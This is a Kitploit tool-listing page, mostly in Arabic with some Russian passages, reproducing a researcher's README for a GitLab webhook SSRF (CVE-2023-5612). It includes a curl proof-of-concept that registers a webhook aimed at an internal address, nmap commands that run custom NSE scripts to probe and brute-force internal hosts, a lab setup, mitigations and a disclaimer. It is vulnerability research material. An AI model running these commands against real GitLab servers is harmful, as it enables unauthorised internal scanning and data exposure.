Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Review.CVE-2023-5612 — تحليل عبر سكربت CVE-2023-5612 | Kitploit
أدوات/GitHubGitHub/topskiypavelqwertygang/review.cve-2023-5612
الاستطلاعتخطيط الشبكةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubtopskiypavelqwertygang/review.cve-2023-5612

Review.CVE-2023-5612

تحليل عبر سكربت CVE-2023-5612

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
45منذ سنة واحدةلم تتم المراجعة بعد

CVE-2023-5612 – ثغرة SSRF في GitLab عبر عنوان URL الخاص بـ Webhook (إثبات المفهوم والتحليل)

📌 نظرة عامة على CVE

  • معرف CVE: CVE-2023-5612
  • الخطورة: عالية (CVSS: 8.1 درجة أساسية)
  • النوع: تزوير طلب من جانب الخادم (SSRF)
  • المكون: Webhooks في GitLab CE/EE
  • الإصدارات المتأثرة: GitLab CE/EE < 16.2.7، 16.3 < 16.3.4، 16.4 < 16.4.1

🧠 الوصف

تسمح ثغرة SSRF في GitLab CE/EE للمهاجمين الذين لديهم صلاحية Maintainer صالحة للمشروع بإرسال طلبات مخصصة إلى خدمات داخلية عشوائية عبر عناوين URL ضارة للـ webhook. يؤدي الاستغلال إلى مسح الشبكة الداخلية، تسرب البيانات الوصفية، أو مزيد من التنقل الجانبي.


✅ شروط الاستغلال

  • يمتلك المهاجم صلاحية maintainer للمشروع
  • لا يحتوي GitLab على تصفية صارمة أو تحقق من صحة عناوين URL للـ webhook

⚙️ خطوات إثبات المفهوم (يدوي)

root@kitploit:~
curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
     --data-urlencode "url=http://127.0.0.1:8888" \
     http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks

🧱 البيئة والإعداد

root@kitploit:~
- Kali Linux внутри виртуальной машины, развернутой специально под тестирование
- Поднятый через Docker экземпляр уязвимого GitLab CE (порт 8080)
- Внутри GitLab:
- Создан тестовый проект
- Сгенерирован Personal Access Token (glpat-...) с правами Maintainer
- Для внутреннего SSRF-таргета был поднят минимальный HTTP-сервис на 127.0.0.1:8888

🧠 المنهجية

root@kitploit:~
- Подтверждение уязвимости вручную через curl (см. PoC)
- Создание кастомных NSE-скриптов:
gitlab-ssrf.nse: точечная проверка SSRF
gitlab-ssrf-brute.nse: автоматический перебор внутренних адресов
- Тестирование с nmap -d и --script-trace, для анализа поведения API и фиксации результатов
- Получение отклика 401 Unauthorized от внутреннего сервиса, что указывает на успешный SSRF
- Успешный запрос вернет `201 Created` либо ошибку вида `401 Unauthorized`, что указывает на SSRF-доступ.

🛠 سكريبت NSE (تشغيل يدوي)

root@kitploit:~
nmap -p 8080 \
  --script ./gitlab-ssrf.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

🧪 سكريبت NSE (تخمين العناوين الداخلية)

root@kitploit:~
nmap -p 8080 \
  --script ./gitlab-ssrf-brute.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

📈 الخاتمة

root@kitploit:~
В ходе работы над уязвимостью **CVE-2023-5612** был воспроизведён успешный SSRF-атакующий сценарий с доступом к внутренним адресам через API GitLab CE. Это демонстрирует, насколько важно ограничивать возможности вебхуков и внедрять валидацию URL-адресов на стороне сервера.

🎯 الأهداف المحققة:

  • تأكيد ثغرة SSRF
  • تطوير أدوات NSE
  • توثيق المشروع وفتحه للمجتمع

📂 هيكل المستودع

root@kitploit:~
.
├── gitlab-ssrf.nse             # سكريبت NSE للتحقق اليدوي من SSRF
├── gitlab-ssrf-brute.nse       # سكريبت NSE للتخمين لفحص المضيفات/المنافذ الداخلية
├── screenshots/                # لقطات شاشة لتنفيذ إثبات المفهوم وتأكيد الثغرة
└── README.md                   # هذا الملف

🖼 لقطات الشاشة

  • ✅ نجاح SSRF مع استجابة 401 Unauthorized
  • 📜 سجلات nmap مع تنفيذ السكريبت
  • 📦 إضافة webhook عبر API

⚠️ التخفيف

  • ترقية GitLab إلى >= 16.2.7 / 16.3.4 / 16.4.1
  • تقييد الاتصالات الصادرة عبر HTTP باستخدام جدار ناري للخروج
  • استخدام قوائم السماح الداخلية للـ webhooks

🧠 المؤلف وجهة الاتصال

Pavel Topskiy
GitHub • محلل أمني، محلل فريق أحمر


📅 الجدول الزمني

  • يونيو 2025: تحليل إثبات المفهوم والثغرة
  • 5 يونيو 2025: كتابة سكريبت NSE مخصص وإجراء الاختبارات

🔐 إخلاء المسؤولية

تم إجراء جميع الاختبارات في بيئات معملية معزولة على إصدارات معرضة للثغرة عن قصد. لا تستخدم هذا ضد أنظمة غير مصرح بها. التزم بمبادئ الاختراق الأخلاقي.

تنزيل الأداة